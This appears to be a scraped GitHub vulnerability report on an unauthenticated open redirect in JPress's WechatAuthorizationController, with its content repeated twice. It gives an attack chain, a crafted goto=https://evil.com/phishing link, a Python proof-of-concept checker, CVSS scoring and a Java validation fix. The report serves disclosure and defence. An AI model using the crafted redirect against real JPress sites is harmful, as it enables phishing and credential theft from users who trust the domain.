You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
An unauthenticated open redirect vulnerability exists in JPress's WechatAuthorizationController. The goto parameter, received from user input, is incorporated into redirect operations without any URL validation — no whitelist, no domain check, no scheme restriction. An attacker can craft a link on the legitimate JPress domain that redirects victims to an arbitrary external URL, enabling phishing attacks that exploit the trust placed in the target domain.
Unvalidated gotoUrl concatenated into OAuth callback URL
125
redirect(StrUtil.urlDecode(gotoUrl));
Direct redirect on WeChat authorization failure
144
redirect(StrUtil.urlDecode(gotoUrl));
Direct redirect on WeChat authorization success
The controller extends ControllerBase and has no @Before interceptor requiring authentication. The goto parameter flows from user input through the WeChat OAuth callback and into redirect() with zero sanitization.
Attack Chain
sequenceDiagram
participant A as Attacker
participant V as Victim
participant JP as JPress Server
participant WX as WeChat OAuth
A->>V: Crafted link with goto=evil.com
V->>JP: GET /wechat/authorization?goto=https://evil.com/phishing
JP->>WX: 302 to open.weixin.qq.com/oauth2 (redirect_uri=JP domain, goto preserved)
V->>WX: WeChat authorization page
WX->>JP: Callback /wechat/authorization/back?goto=https://evil.com
JP->>V: 302 redirect to https://evil.com/phishing
V->>A: Victim lands on phishing page (trusted the JPress domain)
Victim clicks the link — URL appears to be a legitimate JPress domain.
JPress issues a 302 redirect to WeChat OAuth2 authorization page. The redirect_uri points back to JPress itself (a valid, WeChat-whitelisted domain). The goto parameter is embedded in the callback URL.
WeChat validates only the redirect_uri domain — it does not inspect the goto parameter. This provides no defense against this vector.
After WeChat completes the OAuth flow (or on authorization failure), JPress receives the callback and executes redirect(StrUtil.urlDecode(gotoUrl)).
Victim is redirected to the attacker-controlled https://evil.com/phishing page.
Proof of Concept
#!/usr/bin/env python3"""PoC for JPress Open Redirect via WechatAuthorizationController goto parameterDemonstrates that the goto parameter is accepted without validation andpropagated through the OAuth callback to an external redirect.Usage: python3 poc_jpress_redirect.py [target_url]Default: http://localhost:8080"""importrequestsimportsysdefcheck_open_redirect(target: str) ->bool:
"""Test for open redirect by sending a goto parameter pointing to an external domain."""test_url=f"{target.rstrip('/')}/wechat/authorization?goto=https://evil.com/phishing"print(f"[*] Sending request to: {test_url}")
try:
r=requests.get(test_url, allow_redirects=False, timeout=10)
exceptrequests.exceptions.RequestExceptionase:
print(f"[-] Request failed: {e}")
returnFalselocation=r.headers.get("Location", "")
print(f"[*] Status Code: {r.status_code}")
print(f"[*] Location Header: {location}")
ifr.status_codein (301, 302):
# Case 1: Direct redirect to evil.com (e.g., in back() callback)if"evil.com"inlocation:
print("[+] VULNERABLE: Direct open redirect to external domain confirmed!")
print(f"[+] Redirects to: {location}")
returnTrue# Case 2: Redirects to WeChat OAuth page with goto param preservedif"open.weixin.qq.com"inlocationand"goto="inlocation:
print("[+] VULNERABLE: goto parameter preserved in WeChat OAuth redirect.")
print("[+] After OAuth callback, victim will be redirected to https://evil.com/phishing")
returnTrue# Case 3: Redirects to WeChat OAuth (goto may be in state/encoded)if"open.weixin.qq.com"inlocation:
print("[+] Redirects to WeChat OAuth page — goto param likely propagated via callback.")
print("[+] Open redirect exploitable through the /wechat/authorization/back endpoint.")
returnTrueprint("[-] Open redirect not directly observable in initial response.")
print("[-] The redirect to evil.com occurs after WeChat OAuth callback.")
returnFalseif__name__=="__main__":
target=sys.argv[1] iflen(sys.argv) >1else"http://localhost:8080"print(f"{'='*60}")
print(f" JPress Open Redirect PoC")
print(f" Target: {target}")
print(f"{'='*60}")
check_open_redirect(target)
Observe the 302 redirect to WeChat OAuth with goto=https://evil.com/phishing preserved.
Complete or skip WeChat authorization — observe the subsequent redirect to https://evil.com/phishing.
CVSS v3.1 Scoring
Metric
Value
Rationale
Attack Vector (AV)
Network (N)
Exploitable over the internet via a crafted URL
Attack Complexity (AC)
Low (L)
No special conditions; a single URL is sufficient
Privileges Required (PR)
None (N)
No authentication needed
User Interaction (UI)
Required (R)
Victim must click the crafted link
Scope (S)
Changed (C)
Redirect escapes the vulnerable component to an attacker-controlled origin
Confidentiality (C)
None (N)
Cookies are not sent cross-origin; no data exposure
Integrity (I)
None (N)
The redirect itself does not modify data
Availability (A)
None (N)
No impact on availability
Base Score: 4.3 (Medium)
Impact
Phishing: Attackers can craft URLs that appear to originate from a trusted JPress domain, leveraging the domain's reputation to deceive victims into visiting malicious sites.
Trust Exploitation: The initial redirect to WeChat's legitimate OAuth page further reinforces the illusion of authenticity.
Credential Harvesting: Victims may be tricked into entering credentials on attacker-controlled phishing pages.
Mitigating Factor: JPress session cookies carry SameSite policies by default (or are scoped to the JPress domain) and will not be transmitted to the external redirect destination. Token/session hijacking via this vector alone is low risk.
Fix Recommendation
Implement server-side URL validation before using the goto parameter in any redirect operation.
/** * Validates that a redirect URL is either a relative path * or points to an explicitly allowed domain. */privatebooleanisSafeRedirect(Stringurl) {
if (url == null || url.isBlank()) {
returnfalse;
}
try {
URIuri = newURI(url);
// Allow relative paths (no scheme, no host)if (uri.getScheme() == null) {
returntrue;
}
// Reject non-HTTP(S) schemes (e.g., javascript:, data:)if (!uri.getScheme().equalsIgnoreCase("http")
&& !uri.getScheme().equalsIgnoreCase("https")) {
returnfalse;
}
Stringhost = uri.getHost();
if (host == null) {
returnfalse;
}
// Only allow redirects to the application's own domain// Replace with your actual domain or configure via application propertiesStringallowedDomain = System.getProperty("jpress.domain", "");
returnhost.equals(allowedDomain)
|| host.endsWith("." + allowedDomain);
} catch (URISyntaxExceptione) {
returnfalse;
}
}
// Apply validation before using gotoUrlStringgotoUrl = getPara("goto");
if (!isSafeRedirect(gotoUrl)) {
renderError(400, "Invalid redirect URL");
return;
}
Additional hardening measures:
Input allowlisting: Maintain a configurable list of permitted redirect destinations.
Remove URL decoding before validation: Validate the raw parameter first, then decode — never decode before validation to avoid bypass via double-encoding.
Use StringEscapeUtils or equivalent to prevent protocol-relative URLs (//evil.com) if not handled by the URI parser.
Consider SameSite=Strict or Lax on session cookies as defense-in-depth against any future redirect-based attacks.
CVE Request
A CVE identifier is requested for this vulnerability.
Vulnerability Type: CWE-601 — URL Redirection to Untrusted Site ('Open Redirect')
Affected Versions: Latest commit as of 2026-04-22 (all versions using WechatAuthorizationController with the goto parameter)
CVSS: 4.3 (Medium)
Responsible disclosure notice: This report is submitted to the JPress maintainers for coordinated disclosure. Please acknowledge receipt within 90 days. If no response is received, public disclosure will proceed.
Open Redirect Vulnerability in JPress — WechatAuthorizationController
Affected Project: JPress (https://github.com/JPressProjects/jpress)
Vulnerability Type: Open Redirect (CWE-601)
CVSS v3.1: 4.3 (Medium) —
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:NDiscoverer: icysun icysun@qq.com
Date: 2026-04-22
Summary
An unauthenticated open redirect vulnerability exists in JPress's
WechatAuthorizationController. Thegotoparameter, received from user input, is incorporated into redirect operations without any URL validation — no whitelist, no domain check, no scheme restriction. An attacker can craft a link on the legitimate JPress domain that redirects victims to an arbitrary external URL, enabling phishing attacks that exploit the trust placed in the target domain.Root Cause
The vulnerability resides in:
File:
jpress-web/src/main/java/io/jpress/web/wechat/WechatAuthorizationController.javaString gotoUrl = getPara("goto");String backUrl = domain + "/wechat/authorization/back?goto=" + gotoUrl;gotoUrlconcatenated into OAuth callback URLredirect(StrUtil.urlDecode(gotoUrl));redirect(StrUtil.urlDecode(gotoUrl));The controller extends
ControllerBaseand has no@Beforeinterceptor requiring authentication. Thegotoparameter flows from user input through the WeChat OAuth callback and intoredirect()with zero sanitization.Attack Chain
sequenceDiagram participant A as Attacker participant V as Victim participant JP as JPress Server participant WX as WeChat OAuth A->>V: Crafted link with goto=evil.com V->>JP: GET /wechat/authorization?goto=https://evil.com/phishing JP->>WX: 302 to open.weixin.qq.com/oauth2 (redirect_uri=JP domain, goto preserved) V->>WX: WeChat authorization page WX->>JP: Callback /wechat/authorization/back?goto=https://evil.com JP->>V: 302 redirect to https://evil.com/phishing V->>A: Victim lands on phishing page (trusted the JPress domain)Step-by-step:
https://target.com/wechat/authorization?goto=https://evil.com/phishingredirect_uripoints back to JPress itself (a valid, WeChat-whitelisted domain). Thegotoparameter is embedded in the callback URL.redirect_uridomain — it does not inspect thegotoparameter. This provides no defense against this vector.redirect(StrUtil.urlDecode(gotoUrl)).https://evil.com/phishingpage.Proof of Concept
Verification steps:
python3 poc_jpress_redirect.py http://localhost:8080goto=https://evil.com/phishingpreserved.https://evil.com/phishing.CVSS v3.1 Scoring
Base Score: 4.3 (Medium)
Impact
SameSitepolicies by default (or are scoped to the JPress domain) and will not be transmitted to the external redirect destination. Token/session hijacking via this vector alone is low risk.Fix Recommendation
Implement server-side URL validation before using the
gotoparameter in any redirect operation.Additional hardening measures:
StringEscapeUtilsor equivalent to prevent protocol-relative URLs (//evil.com) if not handled by the URI parser.SameSite=StrictorLaxon session cookies as defense-in-depth against any future redirect-based attacks.CVE Request
A CVE identifier is requested for this vulnerability.
WechatAuthorizationControllerwith thegotoparameter)Responsible disclosure notice: This report is submitted to the JPress maintainers for coordinated disclosure. Please acknowledge receipt within 90 days. If no response is received, public disclosure will proceed.